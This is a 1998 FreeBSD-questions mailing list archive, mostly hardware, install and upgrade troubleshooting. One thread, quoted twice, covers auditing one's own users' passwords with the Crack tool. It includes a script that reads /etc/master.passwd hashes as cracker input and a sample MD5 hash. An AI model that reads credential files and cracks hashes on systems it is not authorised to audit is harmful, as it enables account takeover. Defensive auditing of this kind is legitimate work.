of the NFS cpio operation but I can still use other > > windows on the machine just fine everything seems quite responsive. > > netstat -m, nfsstat, and systat -vmstat don't seem to show anything > > unusual. Pstat shows the cpio process that I was using stuck in state > > "D". cp and tar also behave this way. I have also explicitly mounted in > > NFSv2 mode but this didn't help. I have included output of dmesg and my > > kernel config file below in case this helps. Let me know what other > > information might help. Oh, this just in... ftp also hangs in this way > > as well -- it just get a little further along before it does. Anyone have > > any clues about this one? > > TCP or UDP? Try doing a udp mount if you're doing it tcp now. Any > other mount options that you are using? > > -- > > Steve Farrell I didn't use any mount options (except when I experimented with NFSv3 vs. NFSv2) so I assume mount_nfs automatically negotiated UDP to the Auspex and TCP to the -current machine. To update the status of my progress further: Today I installed PAO and it's kernel which is based on 2.2.5-RELEASE. So now my 3C589D is using the ep driver instead of the zp driver and ShaZam! It works perfectly now! So it definitely looks like a problem in 2.2.6-RELEASE, perhaps with the zp driver (since, as I said above I discovered the problem exists in ftp as well and thus is not unique to NFS). Does any one know if it's possible to apply the PAO patches to the 2.2.6-RELEASE kernel? I'll try it anyhow and see for myself. This might help to narrow down where the problem is in 2.2.6. I'll follow-up with a report of my progress in this area... Thanks for your help, Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:15:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13992 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:15:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fidalgo.foghead.com (fidalgo.foghead.com [192.147.160.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA13955 for ; Wed, 8 Apr 1998 10:15:31 -0700 (PDT) (envelope-from junkins@foghead.com) Received: from localhost (junkins@localhost) by fidalgo.foghead.com (8.8.5/8.8.5) with SMTP id KAA06427; Wed, 8 Apr 1998 10:14:23 -0700 (PDT) X-Authentication-Warning: fidalgo.foghead.com: junkins owned process doing -bs Date: Wed, 8 Apr 1998 10:14:20 -0700 (PDT) From: Doug Junkins X-Sender: junkins@fidalgo To: Doug White cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Doug White wrote: > On Mon, 6 Apr 1998, Doug Junkins wrote: > > > I've just tried installing 2.2.6-RELEASE on my system (currently running > > 2.2.2-RELEASE) using the standard boot floppy and am getting the following > > kernel panic just after the "probing devices" screen comes up: > > > > panic: vm_fault: fault on nofault entry, addr: f2f02000 > > > Is there any more output than this? We need to know *exactly* where this > appears and the full text of any panic output (if there's more than what > you've shown me). > After the system boots from the install disk and the blue screen with the "probing devices" messages comes up there is alot of disk activity. After a few seconds of disk activity the above kernel panic is displayed with a message that the system will reboot in 15 seconds (or press a key to abort the automatic reload). I am going to poke around a little to see if it's any particular piece of hardware that's causing the problem. -Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:17:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14537 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:17:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hiway1.exit109.com (chris@hiway1.exit109.com [208.225.64.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14418 for ; Wed, 8 Apr 1998 10:16:53 -0700 (PDT) (envelope-from chris@hiway1.exit109.com) Received: from localhost (chris@localhost) by hiway1.exit109.com (8.8.8/8.7.3) with SMTP id NAA18446 for ; Wed, 8 Apr 1998 13:16:43 -0400 (EDT) Date: Wed, 8 Apr 1998 13:16:43 -0400 (EDT) From: Chris To: freebsd-questions@FreeBSD.ORG Subject: Sound in 2.2.6 with sound blaster 16 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To whom it may concern: I have a Sound Blaster 16 (PnP) (non Vibra) and i was reading the documentation in the sound.docs to set the correct options in the kernel config file, but when i reboot with the new kernel, it says that sb0 0x200 not found. I am at the end of my rope, and need some expert help i guess :) Can any of you please tell me what needs to be set, or look at what i have in the kernel below, and tell me what is wrong, i do know that my irq is 5, and my dma is 1 on the board, (according to my sound blaster manual). Here is my sound configuration in my kernel: # Sound PNP support controller pnp0 controller snd0 device sb0 at isa? port 0x220 irq 5 drq 1 vector sbintr device sbxvi0 at isa? drq 5 device sbmidi0 at isa? port 0x330 device mcd0 at isa? irq11 The mcd0 device is an attempt to get my IDE CDROM connected to my sound card which is also giving me a problem. So, any help in these matters would be greatly appreciated, thank you :) -Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:17:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14739 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:17:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA14672 for ; Wed, 8 Apr 1998 10:17:33 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 13452 invoked from network); 8 Apr 1998 17:17:30 -0000 Received: from sb1-55.impulse.net (HELO 708644668) (204.188.6.55) by mail.impulse.net with SMTP; 8 Apr 1998 17:17:30 -0000 From: "Michael P. Sale" To: "Michael Baker" , Subject: Re: Stupid Question Date: Wed, 8 Apr 1998 10:14:18 -0700 Message-ID: <01bd6311$c3ab01c0$3706bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Michael, As a new newbie (me), I think that I may be able to offer some practical advice. Instead of trying to download it off the net, go to www.cdrom.com (Walnut Creek) and order the CD set and the book. I dont remember it being more than $50.00. The CD set has so much stuff you'll dig it, and the book is VERY needed if you are new to both UNIX and freebsd. Good luck, Mike ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- -----Original Message----- From: Michael Baker To: freebsd-questions@FreeBSD.ORG Date: Wednesday, April 08, 1998 9:55 AM Subject: Stupid Question >Sorry to ask this, but I have spent hours on your site looking for the >answer already so here goes. > >I have never used unix. I have a machine that I want to load FreeBSD on >to learn. What do I need to download? The entire FREEBSD directory? >Eventually, we want to use this box as a web server. > >Thanks, >-- >Michael Baker >InterSight Designs >"Connecting The World, One Business At A Time" >mbaker@inter-sight.com >http://www.inter-sight.com >- >http://www.directmovies.com >"Your Premier On-Line Source for DVD Entertainment" > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:31:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17649 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:31:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alcatel.fr (news.alcatel.fr [194.133.58.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA17628 for ; Wed, 8 Apr 1998 10:31:35 -0700 (PDT) (envelope-from THIERRY.HERBELOT@telspace.alcatel.fr) From: THIERRY.HERBELOT@telspace.alcatel.fr Received: from alcatel.fr (gatekeeper-ssn.alcatel.fr [155.132.180.244]) by mailgate.alcatel.fr (ALCANET/SMTP.9.9.9) with ESMTP id TAA10451; Wed, 8 Apr 1998 19:35:46 +0200 Received: from aifhs1.alcatel.fr (aifhs1.alcatel.fr [155.132.180.86]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id TAA24616; Wed, 8 Apr 1998 19:27:07 +0200 (MET DST) Received: from aifhs2.alcatel.fr (localhost [127.0.0.1]) by aifhs1.alcatel.fr (8.8.8/8.8.8) with ESMTP id TAA22084; Wed, 8 Apr 1998 19:29:08 +0200 (MET DST) Received: from lune.telspace.alcatel.fr (lune.telspace.alcatel.fr [155.132.144.65]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id TAA24607; Wed, 8 Apr 1998 19:27:04 +0200 (MET DST) Received: from telss1 (telss1.telspace.alcatel.fr [155.132.51.4]) by lune.telspace.alcatel.fr (8.7.6/8.7.3) with SMTP id SAA21112; Wed, 8 Apr 1998 18:35:58 +0200 (MET DST) Received: from eole.telspace.alcatel.fr by telss1 (4.1/SMI-4.1) id AA22537; Wed, 8 Apr 98 18:26:20 +0200 Received: from localhost by eole.telspace.alcatel.fr with SMTP (1.40.112.12/16.2) id AA247852630; Wed, 8 Apr 1998 18:23:50 +0200 X-Openmail-Hops: 1 Date: Wed, 8 Apr 98 18:22:36 +0200 Message-Id: In-Reply-To: <3.0.32.19980408235052.0117f9e8@peace.com.my> Subject: =?ISO-8859-1?Q?R=E9p_:_Crack_on_FBSD_-_how_to_make_it_more_thorough_??= Mime-Version: 1.0 To: panda@peace.com.my Cc: questions@FreeBSD.ORG Content-Type: text/plain; charset=ISO-8859-1; name="Crack" Content-Disposition: inline; filename="Crack" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id KAA17637 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You could check it on the mailing llist archive : passwords beginning with $1$ are crypted with the MD5 library. Crack tries to discover passwords crypted with the (standard) DES library : it's completely normal that you can't find back HELLO. AFAIK, there is no method to automatically convert your password database from MD5 crypting to DES crypting (you would need a tool to automatically discover the source passwords "in the clear" first, and all crypting methods try hard making such tolls impossible to have - except if your name is NSA) good luck TfH ____________________________ Séparateur Réponse ________________________________ Objet : Crack on FBSD - how to make it more thorough ? Auteur : panda@peace.com.my Date : 08/04/98 17:28 I installed Crack-5.0 using the package (not the port) and it seems to function, but I'm not sure it's working properly. I changed the shadmrg script to merge the /etc/passwd and /etc/master.passwd and ran Crack on the output. Crack was finished in less than 10 seconds. OK, so I only have 100 users on this system but I thought that this would be still quite an intensive task to run. Before this, I'd added a 'dummy' userid with passwd "HELLO" so that I could check that crack was actually doing something but strangely, Crack didn't find that (and I wouldn't have thought "HELLO" was a particularly intelligent passwd). Fortunately, Crack did discover 2 users with ridiculously easy passwds (since corrected). so I knew it was doing something. Looking at conf/dictrun.conf, I see that nearly all the rules were employed. Should it really have run so fast ? the Reporter also showed the following errors for all user : E:0:bad format: output.txt: username:$1$NTG2CU1tFICN2VX20:1029:1006:U ser &:/home/username:/bin/sh I was running Crack on a file output.txt, which was the output of running scripts/shadmrg.fbsd, based on the supplied shadmrg.sv : SHADOW=/etc/master.passwd PASSWD=/etc/passwd ( sed -e 's/^/STAG:/' < $SHADOW sed -e 's/^/PTAG:/' < $PASSWD ) | awk -F: ' BEGIN { OFS=":"; $1 == "STAG" { pw[$2] = $3; next; } $1 == "PTAG"{ $3 = pw[$2]; print $0; }' | I'm afraid I'm not an awk guy so if I just swapped the variable names at the top. Anyway, if there are any other changes that need to be done to get crack to work perform a more thorough check on FBSD ? chas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:39:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA19120 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:39:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hudsucker.gamespot.com (hudsucker.gamespot.com [206.169.18.74]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA19115 for ; Wed, 8 Apr 1998 10:39:19 -0700 (PDT) (envelope-from jsd@hudsucker.gamespot.com) Received: (from jsd@localhost) by hudsucker.gamespot.com (8.8.7/8.8.7) id KAA11485; Wed, 8 Apr 1998 10:39:21 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 8 Apr 1998 10:39:20 -0700 (PDT) From: Random Junk To: Malte Lance Cc: questions@FreeBSD.ORG Subject: Re: 2.2.6 unstable In-Reply-To: <3.0.32.19980408083139.006ddf60@cyclone.degnet.baynet.de> References: <3.0.32.19980408083139.006ddf60@cyclone.degnet.baynet.de> X-Mailer: VM 6.43 under 20.3 "Vatican City" XEmacs Lucid Message-ID: <13611.46620.791172.360197@hudsucker.gamespot.com> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Malte Lance wrote this: > Which IRQ does your adaptec use ? > (Just asking because the symptoms are the same i had with my hangs. > Resetting the machine did not help; xterms where seg-faulting with sig-11. > I had always to power the machine off and on again.) it's on IRQ 10. someone else suggested the RAM might be faulty, which was actually what i was thinking. i swapped it out and it has been fine since yesterday... my fingers are crossed but i'll try changing the adaptec IRQ if it flakes out again. -- Jon Drukman jsd@gamespot.com ----------------------------------------------------------------------- Plan: Eat right, exercise regularly, die anyway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 10:59:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA22222 for freebsd-questions-outgoing; Wed, 8 Apr 1998 10:59:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dove.peace.com.my (peace.com.my [202.184.153.15]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA22210 for ; Wed, 8 Apr 1998 10:59:12 -0700 (PDT) (envelope-from panda@peace.com.my) Received: from lovebox (love.com.my [202.184.153.17]) by dove.peace.com.my (8.8.5/8.8.5) with SMTP id BAA14435; Thu, 9 Apr 1998 01:41:58 +0800 (SGT) Date: Thu, 9 Apr 1998 01:41:58 +0800 (SGT) Message-Id: <3.0.32.19980409020411.00ecf9a8@peace.com.my> X-Sender: panda@peace.com.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: THIERRY.HERBELOT@telspace.alcatel.fr From: chas Subject: Crack_on_FBSD Cc: questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id KAA22211 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thank you for the explanation, Thierry, though I'm still rather confused. I had already checked the archives and found the MD5/DES posts but thought that they dealt with a different problem since the Crack manual mentioned configuration for FreeBSD. Strange to have a port of Crack available at all then, no ? And strange that it still managed to come up with 2 of the passwds. Cheers, chas > You could check it on the mailing llist archive : passwords beginning > with $1$ are crypted with the MD5 library. Crack tries to discover > passwords crypted with the (standard) DES library : it's completely > normal that you can't find back HELLO. > > AFAIK, there is no method to automatically convert your password > database from MD5 crypting to DES crypting (you would need a tool to > automatically discover the source passwords "in the clear" first, and > all crypting methods try hard making such tolls impossible to have - > except if your name is NSA) > > good luck > > TfH > > > > >____________________________ Séparateur Réponse ________________________________ >Objet : Crack on FBSD - how to make it more thorough ? >Auteur : panda@peace.com.my >Date : 08/04/98 17:28 > > >I installed Crack-5.0 using the package (not the port) and >it seems to function, but I'm not sure it's working properly. >I changed the shadmrg script to merge the /etc/passwd and >/etc/master.passwd and ran Crack on the output. > >Crack was finished in less than 10 seconds. >OK, so I only have 100 users on this system but I thought >that this would be still quite an intensive task to run. > >Before this, I'd added a 'dummy' userid with passwd "HELLO" >so that I could check that crack was actually doing >something but strangely, Crack didn't find that (and >I wouldn't have thought "HELLO" was a particularly >intelligent passwd). Fortunately, Crack did discover >2 users with ridiculously easy passwds (since corrected). >so I knew it was doing something. > >Looking at conf/dictrun.conf, I see that nearly all the >rules were employed. Should it really have run so fast ? > >the Reporter also showed the following errors for all user : > >E:0:bad format: output.txt: username:$1$NTG2CU1tFICN2VX20:1029:1006:U >ser &:/home/username:/bin/sh > >I was running Crack on a file output.txt, which was the output >of running scripts/shadmrg.fbsd, based on the supplied shadmrg.sv : > >SHADOW=/etc/master.passwd >PASSWD=/etc/passwd > >( > sed -e 's/^/STAG:/' < $SHADOW > sed -e 's/^/PTAG:/' < $PASSWD >) | >awk -F: ' >BEGIN { > OFS=":"; >$1 == "STAG" { > pw[$2] = $3; > next; >} >$1 == "PTAG"{ > $3 = pw[$2]; > print $0; > >}' | > >I'm afraid I'm not an awk guy so if I just swapped the variable >names at the top. > >Anyway, if there are any other changes that need to be done >to get crack to work perform a more thorough check on FBSD ? > >chas > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 11:38:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA28645 for freebsd-questions-outgoing; Wed, 8 Apr 1998 11:38:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Gateway1 (gateway1.dextracode.com [200.34.122.34]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA28033 for ; Wed, 8 Apr 1998 11:36:50 -0700 (PDT) (envelope-from jcvp@dextracode.com) Received: from dextracode.com by Gateway1 (SMI-8.6/SMI-SVR4) id MAA12925; Wed, 8 Apr 1998 12:33:08 -0600 Message-ID: <352BC48C.B48C782B@dextracode.com> Date: Wed, 08 Apr 1998 13:40:13 -0500 From: "Juan C. Vazquez" Organization: Dextracode X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.5 How to upgrade to 2.2.6 References: <199803312342.PAA29815@tao.thought.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gary Kline wrote: > According to Randy Katz: > > Hi, > > > > I have found, if you're connected to the 'net, to like this procedure: > > > > 1. pkg_add ftp://ftp.freebsd.org/pub/FreeBSD/CVSup/cvsupit.tgz > > 2. Say yes to everything except to do the Update and the firewall, ports > > as you wish... > > 3. vi /etc/cvsupfile > > 4. change RELENG_2_2 to RELENG_2_2_6_RELEASE > > 5. cvsup -L 2 -g /etc/cvsupfile > > 6. cd /usr/src > > 7. make world (do not reboot afterwards, this takes a long time). > > 8. backup /etc/ (cd /etc; tar cvf /tempdir/etcback.tar) > > 9. cd /usr/src/sys/i386/conf > > 10. cp GENERIC MYKERNEL (your kernel) > > 11. vi MYKERNEL (edit as desired) > > 12. config MYKERNEL > > 13. cd ../../compile/MYKERNEL > > 14. make depend; make; make install > > 15. cd /usr/obj/etc (not sure on this one, pulling from memory) > > 16. rm master.passwd, group, rc.conf (look at this one and merge where > > necessary), and whichever other files you have modified. > > 17. copy to /etc the rest (with subdirectories). > > 18. vi /etc/fstab > > 19. change wd0a to wd0s1a > > 20. reboot the beast > > > > You could most likely do the same from the CD and a boot floppy (the latest). > > > > This is the kind of cookbook files that I'll salt away in > my ~/.HowTo file. > You bet! > Not being familiar with cvsup, I haven't a clue where your > first 5 steps are correct... . There is one way to find > out. > It worked! > Comments? Can anybody expand upon this list? > I would like to add as 21. makewhatis as an optional step. My box had a nasty hang when I ran apropos before this, just before the upgrade. Also, on 19 in my case I had to change to wd0s2a, as I have the OS on a second slice. -jc- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 11:50:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA00591 for freebsd-questions-outgoing; Wed, 8 Apr 1998 11:50:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gras-varg.worldgate.com (skafte@gras-varg.worldgate.com [198.161.84.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA00444; Wed, 8 Apr 1998 11:50:38 -0700 (PDT) (envelope-from skafte@worldgate.com) Received: (from skafte@localhost) by gras-varg.worldgate.com (8.8.8/8.6.12) id MAA14087; Wed, 8 Apr 1998 12:50:36 -0600 (MDT) Message-ID: <19980408125035.19462@worldgate.com> Date: Wed, 8 Apr 1998 12:50:35 -0600 From: Greg Skafte To: freebsd-questions@FreeBSD.ORG Cc: freebsd-chat@FreeBSD.ORG Subject: why are we still using ? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88 Organization: WorldGate Inc. X-PGP-Fingerprint: 42 9C 2C A8 4D 2B C9 C4 7D B6 00 B0 50 47 20 97 X-URL: http://gras-varg.worldgate.com/~skafte Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Outta curiosity why are we still using the 1.8.6 version of ncurses when there is 4.2.x out and has been for a while .... its been a nagging thorn to most of us mutt fanatics .... yes I know I can compile my own copy but its a pain maintaining 2 versions of ncurses and I don't want to replace it out of simple fear of all the other things that might break ... -- Email: skafte@worldgate.com Voice: +403 413 1910 Fax: +403 421 4929 #575 Sun Life Place * 10123 99 Street * Edmonton, AB * Canada * T5J 3H1 -- -- When things can't get any worse, they simplify themselves by getting a whole lot worse then complicated. A complete and utter disaster is the simplest thing in the world; it's preventing one that's complex. (Janet Morris) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 11:52:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA01214 for freebsd-questions-outgoing; Wed, 8 Apr 1998 11:52:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wi.net (wi.net [204.95.193.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA01119 for ; Wed, 8 Apr 1998 11:52:04 -0700 (PDT) (envelope-from laufen@localhost) Received: from chardonnay.vineyard (204.95.193.84) by wi.net with SMTP (Eudora Internet Mail Server 2.1b5); Wed, 8 Apr 1998 13:52:05 -0500 Received: from localhost (derek@localhost) by chardonnay.vineyard (8.8.7/8.8.7) with SMTP id NAA00517 for ; Wed, 8 Apr 1998 13:55:44 -0500 (CDT) (envelope-from laufen@localhost) Date: Wed, 8 Apr 1998 13:55:44 -0500 (CDT) From: Derek Laufenberg X-Sender: derek@chardonnay.vineyard To: freebsd questions Subject: useful docs on amd? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I rtfm'd the amd and amq man pages and need a few more clues. The sample file /etc/amd.map also wasn't a useful "Rossetta Stone". Can anyone point me to another source? Or some sample map files? What I want to do is automount the various cdroms on my net, but I'd kinda like to know what else may be done with it. BTW: I also grep'd thru the FAQ and Handbook on disk 3 of 2.2.5R and found no info there. Thanks, derek ------------------------------------------------------------------ Derek Laufenberg Laufenberg Consulting laufen@wi.net Networking, DICOM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 11:52:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA01575 for freebsd-questions-outgoing; Wed, 8 Apr 1998 11:52:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA01213; Wed, 8 Apr 1998 11:52:13 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id NAA07638; Wed, 8 Apr 1998 13:52:09 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804081852.NAA07638@dyson.iquest.net> Subject: Re: kvm_open: proc size mismatch (22712 total, 664 chunks) In-Reply-To: <19980408072827.50306@marso.com> from "Larry S. Marso" at "Apr 8, 98 07:28:27 am" To: larry@marso.com (Larry S. Marso) Date: Wed, 8 Apr 1998 13:52:09 -0500 (EST) Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I refreshed my current installation with a "minimal" binary install. > > Now I'm getting errors like this: > > kvm_open: proc size mismatch (22712 total, 664 chunks) > top: Out of memory. > > when I run top, and the certain virtual terminals just freeze up. Any > suggestions? > If you are running the kernel that you really want to be running, then you need to rebuild libkvm, ps, w, systat, etc. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 12:08:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA03945 for freebsd-questions-outgoing; Wed, 8 Apr 1998 12:08:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tounes.gw.tn (tounes.gw.tn [193.95.50.118]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA03933 for ; Wed, 8 Apr 1998 12:08:38 -0700 (PDT) (envelope-from barry.monk@gnet.tn) Received: from tounes.tn (tounes.tn [193.95.50.110]) by tounes.gw.tn (8.8.8/8.8.8) with ESMTP id UAA07824 for ; Wed, 8 Apr 1998 20:07:26 -0100 (GMT) Received: from tounes.ati.tn (tounes.ati.tn [193.95.66.21]) by tounes.tngw.tn (8.8.8/8.8.8) with ESMTP id UAA03518 for ; Wed, 8 Apr 1998 20:13:24 -0100 (GMT) Received: from mail.gnet.tn ([193.95.67.109]) by tounes.ati.tn (8.6.9/8.6.9) with ESMTP id UAA03266 for ; Wed, 8 Apr 1998 20:06:09 GMT Received: from default by mail.gnet.tn (SMI-8.6/SMI-SVR4) id UAA01205; Wed, 8 Apr 1998 20:15:19 -0100 Message-Id: <000a01bd6318$8ec0b200$1b4d5fc1@default> From: "Barry Monk" To: Subject: HELP!!!! Date: Wed, 8 Apr 1998 20:00:48 +0200 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01BD6329.05F9AE20" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01BD6329.05F9AE20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I've just purchased ver2.2.5 of FreeBSD unix, and after 3 days of blood = sweat and tears, have managed ti install it and get it to run! sort of. = I purchased a second hard drive and partitioned it for an 800MB BSD = partition, then installed BSD. I have an Intel AL440LX mother board so I = installed the boot manager, which also worked, so I am very nearly there, unfortunatly I cant get xview to run. I,ve = looked at the installation and I've installed all the components. Is it as simple as = not knowing the run command. At work we use xwin on sunsparc, but those = commands don't work. I feel pretty stupid as I feel I've done all the hard work just getting = it all to run on my system, so this is the final hurdle. Can you help me = please? PS As I consulted you cd documents using the view program, there were = many instances where a printout would have helped. Is there a manual I = can purchase to help, as the next step is to configure my internet to = work through my BSD partition. Kind regards,and an excellent product to keep you in for a few evenings! Barry Monk ------=_NextPart_000_0007_01BD6329.05F9AE20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I've just purchased ver2.2.5 of = FreeBSD unix,=20 and after 3 days of blood sweat and tears, have managed ti install it = and get it=20 to run! sort of. I purchased a second hard drive and partitioned it for = an 800MB=20 BSD partition, then installed BSD. I have an Intel AL440LX mother board = so I=20 installed the boot manager, which also worked,
so I am very nearly there, = unfortunatly I cant=20 get xview to run. I,ve looked at the
installation and I've installed all = the=20 components. Is it as simple as not knowing the run command. At work we = use xwin=20 on sunsparc, but those commands don't work.
 
I feel pretty stupid as I feel I've = done all the=20 hard work just getting it all to run on my system, so this is the final = hurdle.=20 Can you help me please?
 
PS As I consulted you cd documents = using the=20 view program, there were many instances where a printout would have = helped. Is=20 there a manual I can purchase to help, as the next step is to configure = my=20 internet to work through my BSD partition.
 
Kind regards,and an excellent = product to keep=20 you in for a few evenings!
 
Barry = Monk
